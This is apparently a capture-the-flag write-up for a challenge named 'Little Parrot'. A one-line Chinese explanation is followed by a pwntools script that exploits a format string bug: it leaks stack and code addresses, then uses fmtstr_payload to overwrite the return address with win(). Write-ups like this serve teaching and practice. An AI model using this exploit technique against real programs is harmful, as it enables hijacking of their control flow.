Logo
Little Parrot
Overview

Little Parrot

April 22, 2025 at 02:45:00 AM
1 min read

Solution

這一題也可以看到 format string 的漏洞,問題在於要怎麼跳到 win()。我的作法是 leak 出 stack 和 .text 段的 address,計算 offset 後用 format string 再寫入 return address 的指標。

io.sendline(b"%40$p.%41$p") # prev frame addr
io.recvuntil(b"You said > ")
prev_rbp = io.recvuntil(b".").strip(b".")
info("prev_rbp: " + prev_rbp.decode())
ret_addr = io.recvline().strip()
info("ret_addr: " + ret_addr.decode())
ptr_ret_addr = int(prev_rbp, 16) - frame_offset
info("ptr_ret_addr: " + hex(ptr_ret_addr))
win_addr = int(ret_addr, 16) - win_offset
info("win_addr: " + hex(win_addr))
info(hex(ptr_ret_addr + 4) + " -> win_addr: " + hex(win_addr))
payload = fmtstr_payload(
offset=6,
writes={
ptr_ret_addr: win_addr,
},
write_size='short',
)
info(b"payload: " + payload)
io.sendline(payload)
io.sendline(b"exit")
io.interactive()
io.close()